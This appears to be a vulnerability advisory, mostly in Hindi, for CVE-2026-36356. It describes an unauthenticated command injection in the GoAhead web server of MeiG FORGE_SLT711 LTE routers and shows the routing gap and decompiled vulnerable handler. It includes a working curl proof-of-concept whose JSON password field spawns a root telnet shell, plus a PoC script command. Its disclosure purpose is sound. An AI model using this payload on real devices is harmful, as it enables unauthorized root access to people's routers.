
CVE-2026-36356: MeiG Smart FORGE_SLT711 GoAhead - बिना प्रमाणीकरण वाला OS Command Injection (रूट के रूप में RCE)
/action/SetRemoteAccessCfg)MeiG Smart FORGE_SLT711 4G LTE CPE उपकरणों के साथ बंडल किया गया GoAhead वेब सर्वर एक बिना प्रमाणीकरण वाला HTTP एंडपॉइंट, /action/SetRemoteAccessCfg, उजागर करता है, जो बिना सैनिटाइज़ेशन के उपयोगकर्ता-नियंत्रित JSON इनपुट को शेल कमांड में इंटरपोलेट करता है। एक एकल बिना प्रमाणीकरण वाला POST अनुरोध root के रूप में मनमाने कमांड निष्पादित करता है।
दो स्वतंत्र मूल कारण हैं: एक लापता प्रमाणीकरण रूट प्रविष्टि, और हैंडलर में एक असुरक्षित sprintf() → system() निर्माण।
MDM9607.LE.1.0-00110-STD.PROD-1 (मॉडेम फ़र्मवेयर BC-MGST711H_1.1.1_EQ101)/usr/bin/goahead)असुरक्षित कोड MeiG के कस्टम एक्शन हैंडलर में है, अपस्ट्रीम GoAhead में नहीं। इस उत्पाद लाइन के अन्य फ़र्मवेयर संस्करण भी प्रभावित हो सकते हैं; स्वतंत्र रूप से सत्यापित नहीं किया गया है।
| डिवाइस | Ortel 4G LTE CPE (OEM: MeiG FORGE_SLT711) |
| SoC | Qualcomm MDM9607, ARMv7 Cortex-A7 |
| कर्नेल | Linux 3.18.48 |
| फ़र्मवेयर | MDM9607.LE.1.0-00110-STD.PROD-1 |
| तिथि |
GoAhead रूट कॉन्फ़िगरेशन /var/www/route.txt में auth=basic का उपयोग करके प्रमाणित रूट (पंक्तियाँ 64–150) सूचीबद्ध हैं। /action/SetRemoteAccessCfg इस सूची में नहीं है। रूटिंग पंक्ति 156 पर कैच-ऑल तक पहुँचती है:
route uri=/action handler=action
कैच-ऑल के पास auth=basic नहीं है, इसलिए कोई भी HTTP क्लाइंट बिना क्रेडेंशियल के /action/SetRemoteAccessCfg को कॉल कर सकता है।
/usr/bin/goahead में ऑफ़सेट 0x0003c6d8 पर स्थित हैंडलर डीकंपाइल होकर इस प्रकार दिखता है:
char password_buf[64]; // 0x40 bytes on stack
char command_buf[256]; // 0x100 bytes on stack
websGetJsonItemValue(json, "password", STRING, password_buf, 0x40);
sprintf(command_buf, "echo root:\"%s\"|chpasswd", password_buf);
system(command_buf);
password फ़ील्ड दोहरे उद्धरणों के अंदर इंटरपोलेट किया जाता है। $(...) प्रतिस्थापन और `...` बैकटिक्स दोहरे उद्धरणों के अंदर विस्तारित होते हैं, इसलिए एक हमलावर शेल कमांड को नियंत्रित कर सकता है। system() uid=0 के रूप में चलता है क्योंकि GoAhead प्रक्रिया root के रूप में चलती है। कोई इनपुट सत्यापन नहीं, कोई एस्केपिंग नहीं, कोई कैरेक्टर व्हाइटलिस्ट नहीं।
curl -s -X POST http://192.168.1.1/action/SetRemoteAccessCfg \
-H "Content-Type: application/json" \
-d '{"password":"$(telnetd -l /bin/sh -p 2323 &)"}'
# Reachable via: telnet 192.168.1.1 2323 (root shell, no password)

poc_rce.py (इस परामर्श के साथ प्रकाशित):
python3 poc_rce.py --ip 192.168.1.1 --cmd 'id > /tmp/out'
शोषण ब्लाइंड है — कमांड आउटपुट HTTP प्रतिक्रिया में नहीं होता।
password बफ़र: 64 बाइट्स| 2026-02-21 |